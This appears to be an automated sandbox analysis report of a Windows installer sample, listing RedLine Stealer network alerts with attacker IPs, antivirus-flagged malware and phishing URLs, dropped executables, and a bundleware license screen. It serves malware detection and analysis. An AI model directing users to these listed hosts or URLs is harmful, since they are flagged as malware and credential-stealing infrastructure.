Source Port:	50254
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350248812046045 12/06/23-14:35:48.865133
SID:	2046045
Source Port:	50248
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350289812046045 12/06/23-14:36:16.396787
SID:	2046045
Source Port:	50289
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350326812046045 12/06/23-14:36:40.988661
SID:	2046045
Source Port:	50326
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350332812046045 12/06/23-14:36:44.925833
SID:	2046045
Source Port:	50332
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350271812046045 12/06/23-14:36:04.130647
SID:	2046045
Source Port:	50271
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350360812046045 12/06/23-14:37:06.208022
SID:	2046045
Source Port:	50360
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350354812046045 12/06/23-14:37:01.103024
SID:	2046045
Source Port:	50354
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.5 - Destination IP: 37.1.198.251

Timestamp:	192.168.2.537.1.198.25150133802839343 12/06/23-14:33:45.067270
SID:	2839343
Source Port:	50133
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350265812046045 12/06/23-14:36:00.212175
SID:	2046045
Source Port:	50265
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350259812046045 12/06/23-14:35:56.113850
SID:	2046045
Source Port:	50259
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350348812046045 12/06/23-14:36:57.105195
SID:	2046045
Source Port:	50348
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350337812046045 12/06/23-14:36:49.902555
SID:	2046045
Source Port:	50337
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350295812046045 12/06/23-14:36:20.371059
SID:	2046045
Source Port:	50295
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350343812046045 12/06/23-14:36:53.852752
SID:	2046045
Source Port:	50343
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350260812046045 12/06/23-14:35:56.768169
SID:	2046045
Source Port:	50260
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 77.105.136.3

Timestamp:	192.168.2.577.105.136.350302812046045 12/06/23-14:36:24.976708
SID:	2046045
Source Port:	50302
Destination Port:	81
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZmWSzgevgt.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://mysoftwareusa.info/stats/3/0/0Nv	Avira URL Cloud: Label: malware
Source: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/stats/3/0/0	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/archives/7atch	Avira URL Cloud: Label: malware
Source: https://sizestep.online/tracker/thank_you.php?trk=2598	Avira URL Cloud: Label: phishing
Source: http://mysoftwareusa.info/archives/5	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/stats/3/1/0	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/archives/7	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/	Avira URL Cloud: Label: malware
Source: http://www.mildstat.com/ping/?count=true&id=55ghm2fide1	Avira URL Cloud: Label: malware
Source: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	Avira URL Cloud: Label: malware
Source: http://mysoftwareusa.info/archives/70Ro	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/K	Avira URL Cloud: Label: malware
Source: http://sparksteam.site/L	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	Avira: detection malicious, Label: PUA/Microleaves.A
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	Avira: detection malicious, Label: TR/Agent.dwpja

Multi AV Scanner detection for dropped file

Source: 413df9.rbf (copy)	ReversingLabs: Detection: 54%
Source: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe	ReversingLabs: Detection: 44%
Source: C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.4\install\4394A48\AdvancedWindowsManager.exe	ReversingLabs: Detection: 54%
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	ReversingLabs: Detection: 54%
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe.part	ReversingLabs: Detection: 26%
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe.part	ReversingLabs: Detection: 59%
Source: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\promo[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1938229521.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	ReversingLabs: Detection: 30%
Source: C:\Users\user\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Updater.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: ZmWSzgevgt.exe

ReversingLabs: Detection: 29%

Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232740 CreateFileW,GetLastError,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,ReadFile,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,CloseHandle,	32_2_00232740
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232600 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,	32_2_00232600
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232B40 GetLastError,CryptGetHashParam,GetLastError,GetLastError,CryptGetHashParam,GetLastError,GetLastError,CryptDestroyHash,	32_2_00232B40
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232C30 CryptDestroyHash,	32_2_00232C30
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232CB0 CryptReleaseContext,	32_2_00232CB0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232C90 CryptReleaseContext,	32_2_00232C90
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232D20 CryptDestroyHash,	32_2_00232D20
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_00232ED0 CryptReleaseContext,	32_2_00232ED0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023AED0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptReleaseContext,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,GetLastError,CryptReleaseContext,CryptReleaseContext,	32_2_0023AED0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023B1A0 CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptReleaseContext,CryptHashData,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,GetLastError,CryptReleaseContext,CryptReleaseContext,	32_2_0023B1A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023B520 CryptAcquireContextW,	32_2_0023B520
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0023B6A0 CryptAcquireContextW,	32_2_0023B6A0

Source: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token+code&nonce=2a176215-0589-4649-8045-b77e016b7260&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fconditional&scope=openid%20email%20profile%209ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7/.default&response_mode=form_post&instance_aware=true&msafed=0&prompt=none&state=%7b%22ig%22%3a%22AA47B589CFE34CA4B24C291FA31E6A04%22%7d

HTTP Parser: Number of links: 0

HTTP Parser: Title: Redirecting does not match URL

Source: https://www.bing.com/secure/Passport.aspx?popup=1&ssl=1	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7&response_type=id_token+code&nonce=2a176215-0589-4649-8045-b77e016b7260&redirect_uri=https%3a%2f%2fwww.bing.com%2forgid%2fidtoken%2fconditional&scope=openid%20email%20profile%209ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7/.default&response_mode=form_post&instance_aware=true&msafed=0&prompt=none&state=%7b%22ig%22%3a%22AA47B589CFE34CA4B24C291FA31E6A04%22%7d	HTTP Parser: No favicon

HTTP Parser: No <meta name="author".. found

HTTP Parser: No <meta name="copyright".. found

Source: ZmWSzgevgt.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49711 version: TLS 1.0

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.clicking "I Agree" you agree to the HYPERLINK "http://goo.gl/fxTiKZ"EULA and consent to install DotDo.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.clicking "I Agree" you agree to the HYPERLINK "http://goo.gl/fxTiKZ"EULA and consent to install DotDo.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel

Source: C:\Windows\SysWOW64\expand.exe

File opened: C:\ProgramData\regid.1993-06.com.microsoft\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.23.108.224:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.109:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.192:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.165.145.62:443 -> 192.168.2.5:50208 version: TLS 1.2

Source: ZmWSzgevgt.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wininet.pdb source: a1.exe, 00000015.00000003.2997075396.000000000544D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3218080442.0000000002763000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3420901306.00000000023B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb source: v113.exe, 00000022.00000003.3198408552.00000000011ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb2 source: v113.exe, 00000022.00000003.3198408552.00000000011ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1402\1402\client32\release_unicode\client32.pdb source: wmiprvse.exe, 0000000F.00000000.2909427873.00000000003E2000.00000002.00000001.01000000.00000011.sdmp, wmiprvse.exe, 0000000F.00000002.3910783997.00000000003E2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdbo source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\AICustAct.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, MSIDA82.tmp.22.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdbh source: v113.exe, 00000022.00000000.3195293895.0000000000918000.00000002.00000001.01000000.00000023.sdmp, v113.exe, 00000022.00000002.3397727474.0000000000918000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb: source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdb source: v113.exe, 00000022.00000000.3195293895.0000000000918000.00000002.00000001.01000000.00000023.sdmp, v113.exe, 00000022.00000002.3397727474.0000000000918000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: msvcr100.i386.pdb source: wmiprvse.exe, 0000000F.00000002.3930679110.000000006BF01000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdb source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdbb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\bin\x86\embeddeduiproxy.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\lzmaextractor.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: wmiprvse.exe, 0000000F.00000002.3931295229.000000006BFE2000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: wininet.pdbUGP source: a1.exe, 00000015.00000003.2997075396.000000000544D000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3218080442.0000000002763000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3420901306.00000000023B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb5 source: a1.exe, 00000015.00000003.2970429698.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3406051593.0000000000E84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: wmiprvse.exe, 0000000F.00000002.3930452953.000000006BD1E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb source: a0.tmp, 00000008.00000003.2910112115.0000000005851000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000F.00000002.3928160512.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: wmiprvse.exe, 0000000F.00000002.3929791609.000000006B8D0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb] source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb source: a1.exe, 00000015.00000003.2970429698.0000000000FF0000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3406051593.0000000000E84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb> source: v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, MSIF323.tmp.22.dr, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb source: v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdb source: v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, System Updater.msi.34.dr
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\ExternalUi.pdb source: a1.exe, 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000015.00000000.2964430134.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmp, v114.exe, 00000039.00000002.3555344086.0000000000B0C000.00000002.00000001.01000000.00000028.sdmp, v114.exe, 00000039.00000000.3403600640.0000000000B0C000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdbz source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp
